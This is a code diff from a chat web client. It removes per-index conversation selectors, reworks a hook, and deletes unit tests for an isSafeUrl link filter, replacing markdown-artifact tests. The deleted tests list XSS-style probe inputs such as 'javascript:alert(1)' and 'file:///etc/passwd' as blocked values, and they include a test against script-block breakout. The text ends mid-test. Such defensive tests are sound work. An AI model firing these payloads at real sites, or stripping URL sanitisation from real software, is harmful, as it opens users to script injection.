import { LocalStorageKeys, isEphemeralAgentId, Constants } from 'librechat-data-provider';
-import type {
- EModelEndpoint,
- TConversation,
- TSubmission,
- TMessage,
- TPreset,
-} from 'librechat-data-provider';
+import type { TMessage, TPreset, TConversation, TSubmission } from 'librechat-data-provider';
import type { TOptionSettings, ExtendedFile } from '~/common';
import {
clearModelForNonEphemeralAgent,
@@ -156,54 +151,6 @@ const allConversationsSelector = selector({
},
});
-const conversationIdByIndex = selectorFamily({
- key: 'conversationIdByIndex',
- get:
- (index: string | number) =>
- ({ get }) =>
- get(conversationByIndex(index))?.conversationId ?? null,
-});
-
-const conversationEndpointByIndex = selectorFamily({
- key: 'conversationEndpointByIndex',
- get:
- (index: string | number) =>
- ({ get }) =>
- get(conversationByIndex(index))?.endpoint ?? null,
-});
-
-const conversationModelByIndex = selectorFamily({
- key: 'conversationModelByIndex',
- get:
- (index: string | number) =>
- ({ get }) =>
- get(conversationByIndex(index))?.model ?? null,
-});
-
-const conversationSpecByIndex = selectorFamily({
- key: 'conversationSpecByIndex',
- get:
- (index: string | number) =>
- ({ get }) =>
- get(conversationByIndex(index))?.spec ?? null,
-});
-
-const conversationAgentIdByIndex = selectorFamily({
- key: 'conversationAgentIdByIndex',
- get:
- (index: string | number) =>
- ({ get }) =>
- get(conversationByIndex(index))?.agent_id ?? null,
-});
-
-const conversationAssistantIdByIndex = selectorFamily({
- key: 'conversationAssistantIdByIndex',
- get:
- (index: string | number) =>
- ({ get }) =>
- get(conversationByIndex(index))?.assistant_id ?? null,
-});
-
const presetByIndex = atomFamily({
key: 'presetByIndex',
default: null,
@@ -321,27 +268,19 @@ const messagesSiblingIdxFamily = atomFamily({
function useCreateConversationAtom(key: string | number) {
const hasSetConversation = useSetConvoContext();
- const setKeys = useSetRecoilState(conversationKeysAtom);
- const conversation = useRecoilValue(conversationByIndex(key));
+ const [keys, setKeys] = useRecoilState(conversationKeysAtom);
const setConversation = useSetRecoilState(conversationByIndex(key));
+ const conversation = useRecoilValue(conversationByIndex(key));
useEffect(() => {
- setKeys((prevKeys) => {
- if (prevKeys.includes(key)) {
- return prevKeys;
- }
- return [...prevKeys, key];
- });
- }, [key, setKeys]);
+ if (!keys.includes(key)) {
+ setKeys([...keys, key]);
+ }
+ }, [key, keys, setKeys]);
return { hasSetConversation, conversation, setConversation };
}
-function useSetConversationAtom(key: string | number) {
- const { setConversation } = useCreateConversationAtom(key);
- return { setConversation };
-}
-
function useClearConvoState() {
/** Clears all active conversations. Pass `true` to skip the first or root conversation */
const clearAllConversations = useRecoilCallback(
@@ -370,7 +309,15 @@ function useClearConvoState() {
return clearAllConversations;
}
-const conversationByKeySelector = conversationByIndex;
+const conversationByKeySelector = selectorFamily({
+ key: 'conversationByKeySelector',
+ get:
+ (index: string | number) =>
+ ({ get }) => {
+ const conversation = get(conversationByIndex(index));
+ return conversation;
+ },
+});
function useClearSubmissionState() {
const clearAllSubmissions = useRecoilCallback(
@@ -464,16 +411,9 @@ export default {
messagesSiblingIdxFamily,
anySubmittingSelector,
allConversationsSelector,
- conversationIdByIndex,
- conversationEndpointByIndex,
- conversationModelByIndex,
- conversationSpecByIndex,
- conversationAgentIdByIndex,
- conversationAssistantIdByIndex,
conversationByKeySelector,
useClearConvoState,
useCreateConversationAtom,
- useSetConversationAtom,
showMentionPopoverFamily,
globalAudioURLFamily,
activeRunFamily,
diff --git a/client/src/utils/__tests__/markdown.test.ts b/client/src/utils/__tests__/markdown.test.ts
index 9834f034e9..fcc0f169e6 100644
--- a/client/src/utils/__tests__/markdown.test.ts
+++ b/client/src/utils/__tests__/markdown.test.ts
@@ -1,103 +1,4 @@
-import { isSafeUrl, getMarkdownFiles, EMBEDDED_IS_SAFE_URL } from '../markdown';
-
-describe('isSafeUrl', () => {
- it('allows https URLs', () => {
- expect(isSafeUrl('https://example.com')).toBe(true);
- });
-
- it('allows http URLs', () => {
- expect(isSafeUrl('http://example.com/path')).toBe(true);
- });
-
- it('allows mailto links', () => {
- expect(isSafeUrl('mailto:user@example.com')).toBe(true);
- });
-
- it('allows tel links', () => {
- expect(isSafeUrl('tel:+1234567890')).toBe(true);
- });
-
- it('allows relative paths', () => {
- expect(isSafeUrl('/path/to/page')).toBe(true);
- expect(isSafeUrl('./relative')).toBe(true);
- expect(isSafeUrl('../parent')).toBe(true);
- });
-
- it('allows anchor links', () => {
- expect(isSafeUrl('#section')).toBe(true);
- });
-
- it('blocks javascript: protocol', () => {
- expect(isSafeUrl('javascript:alert(1)')).toBe(false);
- });
-
- it('blocks javascript: with leading whitespace', () => {
- expect(isSafeUrl(' javascript:alert(1)')).toBe(false);
- });
-
- it('blocks javascript: with mixed case', () => {
- expect(isSafeUrl('JavaScript:alert(1)')).toBe(false);
- });
-
- it('blocks data: protocol', () => {
- expect(isSafeUrl('data:text/html,x ')).toBe(false);
- });
-
- it('blocks blob: protocol', () => {
- expect(isSafeUrl('blob:http://example.com/uuid')).toBe(false);
- });
-
- it('blocks vbscript: protocol', () => {
- expect(isSafeUrl('vbscript:MsgBox("xss")')).toBe(false);
- });
-
- it('blocks file: protocol', () => {
- expect(isSafeUrl('file:///etc/passwd')).toBe(false);
- });
-
- it('blocks empty strings', () => {
- expect(isSafeUrl('')).toBe(false);
- });
-
- it('blocks whitespace-only strings', () => {
- expect(isSafeUrl(' ')).toBe(false);
- });
-
- it('blocks unknown/custom protocols', () => {
- expect(isSafeUrl('custom:payload')).toBe(false);
- });
-});
-
-describe('isSafeUrl sync verification', () => {
- const embeddedFn = new Function('url', EMBEDDED_IS_SAFE_URL + '\nreturn isSafeUrl(url);') as (
- url: string,
- ) => boolean;
-
- const cases: [string, boolean][] = [
- ['https://example.com', true],
- ['http://example.com', true],
- ['mailto:a@b.com', true],
- ['tel:+1234567890', true],
- ['/relative', true],
- ['./relative', true],
- ['../up', true],
- ['#anchor', true],
- ['javascript:alert(1)', false],
- [' javascript:void(0)', false],
- ['data:text/html,x ', false],
- ['blob:http://x.com/uuid', false],
- ['vbscript:run', false],
- ['file:///etc/passwd', false],
- ['custom:payload', false],
- ['', false],
- [' ', false],
- ];
-
- it.each(cases)('embedded copy matches exported isSafeUrl for %j → %s', (url, expected) => {
- expect(embeddedFn(url)).toBe(expected);
- expect(isSafeUrl(url)).toBe(expected);
- });
-});
+import { getMarkdownFiles } from '../markdown';
describe('markdown artifacts', () => {
describe('getMarkdownFiles', () => {
@@ -114,26 +15,46 @@ describe('markdown artifacts', () => {
expect(files['content.md']).toBe('# No content provided');
});
- it('should include index.html with static markdown rendering', () => {
+ it('should include App.tsx with MarkdownRenderer component', () => {
const markdown = '# Test';
const files = getMarkdownFiles(markdown);
- expect(files['index.html']).toContain('');
- expect(files['index.html']).toContain('marked.min.js');
- expect(files['index.html']).toContain('marked.parse');
- expect(files['index.html']).toContain('# Test');
+ expect(files['App.tsx']).toContain('import React from');
+ expect(files['App.tsx']).toContain(
+ "import MarkdownRenderer from '/components/ui/MarkdownRenderer'",
+ );
+ expect(files['App.tsx']).toContain(' {
- const files = getMarkdownFiles('# Test');
- expect(Object.keys(files).sort()).toEqual(['content.md', 'index.html']);
+ it('should include index.tsx entry point', () => {
+ const markdown = '# Test';
+ const files = getMarkdownFiles(markdown);
+
+ expect(files['index.tsx']).toContain('import App from "./App"');
+ expect(files['index.tsx']).toContain('import "./styles.css"');
+ expect(files['index.tsx']).toContain('import "./markdown.css"');
+ expect(files['index.tsx']).toContain('createRoot');
});
- it('should include markdown CSS in index.html', () => {
- const files = getMarkdownFiles('# Test');
- expect(files['index.html']).toContain('.markdown-body');
- expect(files['index.html']).toContain('list-style-type: disc');
- expect(files['index.html']).toContain('prefers-color-scheme: dark');
+ it('should include MarkdownRenderer component file', () => {
+ const markdown = '# Test';
+ const files = getMarkdownFiles(markdown);
+
+ expect(files['/components/ui/MarkdownRenderer.tsx']).toContain('import Markdown from');
+ expect(files['/components/ui/MarkdownRenderer.tsx']).toContain('MarkdownRendererProps');
+ expect(files['/components/ui/MarkdownRenderer.tsx']).toContain(
+ 'export default MarkdownRenderer',
+ );
+ });
+
+ it('should include markdown.css with styling', () => {
+ const markdown = '# Test';
+ const files = getMarkdownFiles(markdown);
+
+ expect(files['markdown.css']).toContain('.markdown-body');
+ expect(files['markdown.css']).toContain('list-style-type: disc');
+ expect(files['markdown.css']).toContain('prefers-color-scheme: dark');
});
describe('content escaping', () => {
@@ -141,36 +62,29 @@ describe('markdown artifacts', () => {
const markdown = 'Here is some `inline code`';
const files = getMarkdownFiles(markdown);
- expect(files['index.html']).toContain('\\`');
+ expect(files['App.tsx']).toContain('\\`');
});
it('should escape backslashes in markdown content', () => {
const markdown = 'Path: C:\\Users\\Test';
const files = getMarkdownFiles(markdown);
- expect(files['index.html']).toContain('\\\\');
+ expect(files['App.tsx']).toContain('\\\\');
});
it('should escape dollar signs in markdown content', () => {
const markdown = 'Price: $100';
const files = getMarkdownFiles(markdown);
- expect(files['index.html']).toContain('\\$');
+ expect(files['App.tsx']).toContain('\\$');
});
it('should handle code blocks with backticks', () => {
const markdown = '```js\nconsole.log("test");\n```';
const files = getMarkdownFiles(markdown);
- expect(files['index.html']).toContain('\\`\\`\\`');
- });
-
- it('should prevent in content from breaking out of the script block', () => {
- const markdown = 'Some content with ';
- const files = getMarkdownFiles(markdown);
-
- expect(files['index.html']).not.toContain('
-
-